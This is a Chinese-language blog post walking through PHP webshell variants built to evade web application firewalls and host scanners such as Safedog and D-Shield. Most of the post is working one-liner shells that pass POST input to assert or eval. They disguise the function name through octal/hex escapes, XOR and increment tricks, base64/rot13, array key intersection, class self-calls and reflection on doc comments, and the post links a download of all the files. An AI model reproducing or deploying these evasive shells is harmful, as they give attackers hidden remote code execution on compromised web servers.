banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

webshell_bypass安全狗、D盾

前言#

不知道怎麼了,最近 Freebuf 和合天智匯都在發繞過 waf 的文章,一般來說都是見光死,而且只敢偶爾發一篇

但是最近連續幾天都是 bypass 的文章,那就記錄一下

原文來源: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ

這篇文章就是將原文做一遍,侵刪

環境配置及 webshell 了解#

image

image

關於給 Windows 中的 phpstudy 配置安全狗這裡有坑,在安裝安全狗的時候會跳出來一個配置界面:

image

請自動忽略裡面的紅字,Win7 的話,先把 phpstudy 設置為服務模式,服務中出現 apache 服務後,停止 phpstudy,然後手動啟動 apache 服務後安全狗就可以安裝了

針對 win10 的話,你將 phpstudy 設置為系統服務模式的話,在 services.msc 中也是看不到 apache 的服務的,需要自己手動安裝 (cmd):

  • cd C:\phpStudy\PHPTutorial\Apache\bin
  • httpd.exe -k install -n apache2.4

然後啟動 apache2.4 服務,安全狗就能識別了

在 bypass 開始之前我們先了解一下 webshell 的組成:

image

webshell 再怎麼變化,都需要滿足圖中的兩個條件,那麼繞過 waf 就是通過變化這兩個條件來實現的

我們先測試下 waf 的檢測機制,我們準備以下三個文件:

php_1.php:<?php eval($_POST['a']);?>
php_2.php:

<?php
$a = "phpinfo();";
eval($a);?>

php_3.php:<?php $_POST['a'];?>

用安全狗檢測一下:

image

帶有 eval 的敏感字符與及敏感傳參的 $_POST 並沒有報毒,可以猜測 waf 的一部分機制是參數追蹤與及綜合判定。

bypass#

1. 關鍵字繞過

php 是個非常強大的語言對於字符串的各種變化都支持的非常好。

我們可以用進制轉換,十六進制,八進制之類的。

<?php

$a="\141";#八進制的a
$a .= "\163";#八進制的s
$a .= "\x73";#十六進制的s
$a .= "\x65";#十六進制的e
$a .= "\x72";#十六進制的r
$a .= "\164";#十六進制的t
@$a($_POST["a"]);

?>

為什麼不用 eval 而用 assert:eval 並不是一個函數,不支持這樣子的調用。

這樣就 bypass 了安全狗但是過不了 D 盾:

image

2. 算術運算

我們可以同通過自增,異或,取反等方法來獲得我們想要的字母,再組合成函數,動態調用即可。

例如通過定義 a 然後進行自增運算得到其他想要的字符,但是注意並不能進行自減

image

但是我們這樣子取出來的只有小寫字符,並不能得到我們想要_POST,_GET。

在 PHP 中,兩個字符串執行異或操作以後,得到的還是一個字符串。

所以這裡我們就可以用異或,取反來取我們想要的大寫字母。

寫個 php 腳本:

<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(",  ")",  "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); //特殊字符
$alength=count($a);

for($x=0;$x<$alength;$x++) {

for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; //輸出遍歷異或結果
}}
?>

把能想到特殊字符全部丟進去得到遍歷異或的結果,然後再取我們想要的字符。這裡我們就以取_POST 為例子。

_可以用 | 和 #來進行異或得到:

image

然後一個個找出來,得到的結果就是:

image

結合我們上面的自增我們可以得到以下代碼:

<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>

測試一下,可以過安全狗,但是過不了 D 盾,可是我們的安全等級下降了,問題不大,繼續肝:

image

3. 編碼加拼接

通過 base64 與及 rot13 編碼,動態函數調用得到以下代碼:

<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>

穩過安全狗,但是還是沒有過 D 盾,可是等級我們再次降低了一個級別,變成二級了:

image

我們可以再結合一下上面所說的,把自增運算與及參數的傳遞打破一下檢測的規則。

<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>

image

可以發現,安全狗我們再次無壓力,並且 D 盾等級再次降低,降到了一级,只報了一個變量函數,針對這一點,我們再改一下。這次我們可以採用數組的方式,經過多次變換,再加上參數擾亂達到 bypass 的目的。

代碼如下:

<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);//取數組交集
$a = array_keys($result);//取數組鍵值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);//擾亂規則
?>

image

可以發現我們已經 bypass 掉了安全狗,D 盾,深信服,360 主機衛士。

當然遠不止這種方法,php 實在太靈活了。

  • uopz_function()
  • uasort()
  • uksort()
  • array_uintersect_uassoc()
  • array_udiff_assoc()
    等等,都可以用來 bypass,用法可以自己嘗試。

大佬還貼出了另外兩種思路:

這個一句話是在鵬城杯線下賽中出現的,通過自增得到關鍵字,然後定義類,類內函數自調用來進行 bypass。

<?php
error_reporting(0);//去除錯誤回顯
class Foo  //創建名為FOO的類
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); // 調用Bar
        $b($c);
    }
    function Bar()
    {
    	$__='a';
        $a1=$__; //$a1=a;
		$__++;$__++;$__++;$__++;//$a__=e;
		$a2=$__; //$a2=e;
		$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
		$a3=$__++; //$a3=r;$__=s;
		$a4=$__++; //$a4=s;$__=t;
		$a5=$__;   //$a5=$__=t;
		$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
        return $a; //將$a的值返回
    }
}
function variable(){
	$_='A';
	$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
	$b1=$_++; //$b1=O;$_=P;
	$b2=$_;   //$b2=$_=P
	$_++;$_++;$_++; //$_=S
	$b3=$_++; //$b3=S;$_=T;
	$b4=$_; //$b4=$_=T;
	$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
	return $b; //將$b的值返回
}
$foo = new Foo(); //創建名為foo對象
$funcname = "Variable"; //將Variable的值賦給變量funcname
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); //調用 $foo->Variable($bb)
?>

另一種,我們可以利用 php 的反射機制,獲取註釋的內容,然後拼湊出 assert,從而動態執行,代碼如下:

<?php
/**
-
as
-
5
-
se
-
*/
class a{
   function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());//建立反射對象
$arr = explode("*", $aa->getDocComment());//獲取對象a的註釋
$str = ereg_replace("-","",$arr[2]);//獲取對象a的註釋
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>

效果如下:

image

這樣子也可以 bypass D 盾安全狗 等。

Bypass 的思路還有:

  • 快取寫 webshell
  • 回調函數
  • 正則匹配繞過
  • 匿名函數

本文所有文件已打包:https://www.lanzous.com/i2xe6pa

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。